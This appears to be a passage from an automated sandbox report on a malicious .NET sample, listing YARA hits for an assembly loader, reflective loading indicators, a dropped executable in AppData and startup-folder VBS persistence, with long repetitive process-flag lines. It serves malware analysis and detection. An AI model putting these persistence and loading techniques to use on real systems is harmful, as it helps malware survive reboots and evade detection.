Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: pbgjw8i8N7.exe, 00000000.00000002.1349861546.0000000003ACD000.00000004.00000800.00020000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1353607165.00000000054D0000.00000004.08000000.00040000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1349861546.0000000003A7C000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003BBB000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: pbgjw8i8N7.exe, 00000000.00000002.1349861546.0000000003ACD000.00000004.00000800.00020000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1353607165.00000000054D0000.00000004.08000000.00040000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1349861546.0000000003A7C000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003BBB000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: pbgjw8i8N7.exe, 00000000.00000002.1353290642.0000000005430000.00000004.08000000.00040000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003A11000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: pbgjw8i8N7.exe, 00000000.00000002.1353290642.0000000005430000.00000004.08000000.00040000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003A11000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: pbgjw8i8N7.exe, EncryptorIterator.cs	.Net Code: PresentEncryptor System.AppDomain.Load(byte[])
Source: 0.2.pbgjw8i8N7.exe.3a7d570.3.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.pbgjw8i8N7.exe.3a7d570.3.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.pbgjw8i8N7.exe.3a7d570.3.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties

Yara detected Costura Assembly Loader

Source: Yara match	File source: 0.2.pbgjw8i8N7.exe.5380000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pbgjw8i8N7.exe.5380000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1353040747.0000000005380000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1463433201.0000000002A11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1331701274.0000000002971000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: pbgjw8i8N7.exe PID: 1988, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: XsdType.exe PID: 6732, type: MEMORYSTR

Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_04E94FE1 push ss; iretd	0_2_04E94FE2
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_05121D72 push ss; retf	0_2_05121D73
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_0512A992 push edx; iretd	0_2_0512A995
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_0512D84A push eax; ret	0_2_0512D881
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_0512260B push cs; retf	0_2_05122611
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_051EED5B pushfd ; iretd	0_2_051EED61
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_051EB45F push es; iretd	0_2_051EB461
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_051E0722 push E9FFFFFFh; ret	0_2_051E0728
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_051EF1C6 push eax; iretd	0_2_051EF1C7
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_051EA84E push 928D24B0h; retf	0_2_051EA85B
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_05268404 pushad ; iretd	0_2_05268405
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 0_2_052683AA pushad ; iretd	0_2_052683AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_00CE28B0 push ds; iretd	1_2_00CE28BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_00CE6C10 pushfd ; iretd	1_2_00CE6C1A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_00CE3068 push ss; iretd	1_2_00CE3076
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_00CE3020 push ss; iretd	1_2_00CE3046
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_00CEF7CC push ebp; iretd	1_2_00CEF7CE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_00CE3890 push ds; iretd	1_2_00CE3896
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_00CE3A42 push ds; iretd	1_2_00CE3A46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_00CE7DA1 push es; ret	1_2_00CE7DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064B8445 push es; ret	1_2_064B8448
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064BC0FD push es; iretd	1_2_064BC210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064B851A push es; ret	1_2_064B8520
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064B2512 push esp; ret	1_2_064B2519
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064B25B0 pushfd ; ret	1_2_064B25B1
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_0506CC4D push 73E8050Ah; iretd	3_2_0506CC52
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_05064FE1 push ss; iretd	3_2_05064FE2
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_0506E09C push ebx; iretd	3_2_0506E09D
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_0506E234 push edx; iretd	3_2_0506E235
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_051BA992 push edx; iretd	3_2_051BA995
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 3_2_0527B45F push es; iretd	3_2_0527B461

Source: pbgjw8i8N7.exe	Static PE information: section name: .text entropy: 7.19209181797832
Source: XsdType.exe.0.dr	Static PE information: section name: .text entropy: 7.19209181797832

Source: C:\Users\user\Desktop\pbgjw8i8N7.exe

File created: C:\Users\user\AppData\Roaming\XsdType.exe

Jump to dropped file

Boot Survival

Drops VBS files to the startup folder

Source: C:\Users\user\Desktop\pbgjw8i8N7.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XsdType.vbs

Jump to dropped file

Source: C:\Users\user\Desktop\pbgjw8i8N7.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XsdType.vbs

Jump to behavior

Source: C:\Users\user\Desktop\pbgjw8i8N7.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XsdType.vbs

Jump to behavior

Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
